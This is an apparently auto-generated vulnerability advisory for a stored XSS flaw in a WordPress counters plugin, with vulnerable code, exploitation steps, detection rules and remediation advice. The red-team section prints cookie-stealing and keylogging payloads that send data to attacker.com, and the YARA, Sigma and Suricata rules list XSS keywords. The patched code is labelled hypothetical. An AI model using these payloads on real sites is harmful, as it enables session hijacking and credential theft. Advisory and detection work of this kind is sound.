CVE-2025-26939
Executive Summary
CVE-2025-26939 is a Stored Cross-Site Scripting (XSS) vulnerability found in the Counters Block plugin for WordPress, developed by bPlugins. The flaw exists in versions 1.1.2 and below. An authenticated attacker with at least Contributor-level privileges can inject arbitrary JavaScript into the plugin’s block attributes. When a site administrator or other user views a page containing the malicious block, the script executes in their browser, potentially leading to session hijacking, defacement, or credential theft.
This vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). The CVSS v3.1 score is 6.5 (Medium), with a vector of CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L. The attack requires low privileges and user interaction, but the impact is limited to confidentiality, integrity, and availability of the affected component.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin via the WordPress admin dashboard or directly from the repository are at risk. No known supply chain compromise has been reported, but the lack of a patch increases the risk of exploitation.
CVSS Breakdown & Threat Level
| Metric | Value |
|---|---|
| Attack Vector (AV) | Network (N) |
| Attack Complexity (AC) | Low (L) |
| Privileges Required (PR) | Low (L) |
| User Interaction (UI) | Required (R) |
| Scope (S) | Changed (C) |
| Confidentiality (C) | Low (L) |
| Integrity (I) | Low (L) |
| Availability (A) | Low (L) |
| Base Score | 6.5 (Medium) |
The threat level is Medium due to the requirement for authenticated access and user interaction. However, the prevalence of WordPress sites and the ease of exploitation make this a significant risk for unpatched installations.
Deep Dive & Mechanics
The vulnerability resides in the Counters Block plugin’s block registration and rendering process. The plugin registers a custom Gutenberg block that accepts user input for attributes such as counterValue, label, and icon. These attributes are not properly sanitized or escaped before being stored in the WordPress database and later rendered on the front end.
When a user with Contributor-level or higher privileges creates or edits a post/page containing the Counters Block, they can inject malicious JavaScript into the block’s attributes. For example, the label attribute might be set to:
<img src=x onerror=alert('XSS')>
This input is stored in the wp_posts table as part of the block’s serialized HTML. When the page is rendered, WordPress outputs the block’s content without proper escaping, causing the browser to execute the injected script.
The vulnerability is classified as Stored XSS because the malicious payload persists in the database and executes every time the page is viewed.
Vulnerable vs. Patched Code
Vulnerable Code (counters-block.php, line ~45):
function render_block($attributes, $content) {
$label = $attributes['label'];
return "<div class='counter-block'><span class='counter-label'>$label</span></div>";
}
The $label variable is directly interpolated into the HTML output without any escaping.
Patched Code (hypothetical):
function render_block($attributes, $content) {
$label = esc_html($attributes['label']);
return "<div class='counter-block'><span class='counter-label'>$label</span></div>";
}
The patched version uses esc_html() to escape the output, preventing HTML/JavaScript injection.
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress installation with Counters Block plugin version <= 1.1.2
- User account with Contributor-level privileges or higher
Exploitation Steps:
- Log in to WordPress as a Contributor.
- Create a new post or page.
- Add the Counters Block to the editor.
- In the block’s
labelattribute, inject the following payload:
<img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>
- Publish the post.
- When an administrator views the post, the script executes, sending their session cookie to the attacker’s server.
Alternative Payload (Keylogger):
<input onfocus="document.addEventListener('keydown',function(e){fetch('https://attacker.com/keylog?k='+e.key)})" autofocus>
Blue Team
Detection Steps:
- Monitor for unusual block attribute values in the
wp_poststable:SELECT * FROM wp_posts WHERE post_content LIKE '%onerror%' OR post_content LIKE '%<script%'; - Check for recent posts created by low-privileged users that contain the Counters Block.
- Review web server logs for requests to suspicious external domains originating from the WordPress admin area.
Mitigation in Lab:
- Disable the Counters Block plugin until a patch is available.
- Use a Web Application Firewall (WAF) to block common XSS payloads.
- Restrict Contributor-level users from publishing posts without review.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/counters-block/counters-block.php(version <= 1.1.2) - Database: Posts containing serialized block data with unescaped HTML/JavaScript in
post_content - Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server
- Logs: Web server logs showing
POSTrequests to/wp-admin/post.phpwith suspicious block attributes
Detection Engineering
YARA Rule
rule CVE_2025_26939_Counters_Block_XSS {
meta:
description = "Detects malicious payloads targeting CVE-2025-26939 in Counters Block plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-26939"
strings:
$xss1 = /<[^>]*onerror\s*=[^>]*>/i
$xss2 = /<[^>]*onload\s*=[^>]*>/i
$xss3 = /<script[^>]*>.*<\/script>/i
$block = "wp:counters-block"
condition:
$block and ($xss1 or $xss2 or $xss3)
}
Sigma Rule
title: CVE-2025-26939 - Stored XSS in Counters Block Plugin
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects stored XSS payloads in WordPress posts containing the Counters Block
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query: '/wp-admin/post.php*'
cs-uri-query|contains: 'counters-block'
keywords:
- 'onerror='
- 'onload='
- '<script'
condition: selection and keywords
falsepositives:
- Legitimate use of JavaScript in block attributes (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-26939 - Stored XSS Payload in Counters Block"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"counters-block"; http_client_body; pcre:"/(onerror|onload|<script)/i"; classtype:web-application-attack; sid:10000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Counters Block plugin until a patched version is released.
- Review all posts created by low-privileged users for suspicious block attributes.
- Reset user sessions if any compromise is suspected.
Long-term Fix:
- The vendor (bPlugins) must release a patched version that properly escapes output using
esc_html()orwp_kses_post(). - Users should update to the latest version once available.
Compensating Controls:
- Implement a Content Security Policy (CSP) to block inline scripts.
- Use a WordPress security plugin that monitors for XSS attempts.
- Enforce strict user role permissions to limit who can publish posts.
Report generated by Valters IT DevSecOps AI Assistant
Signature: Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.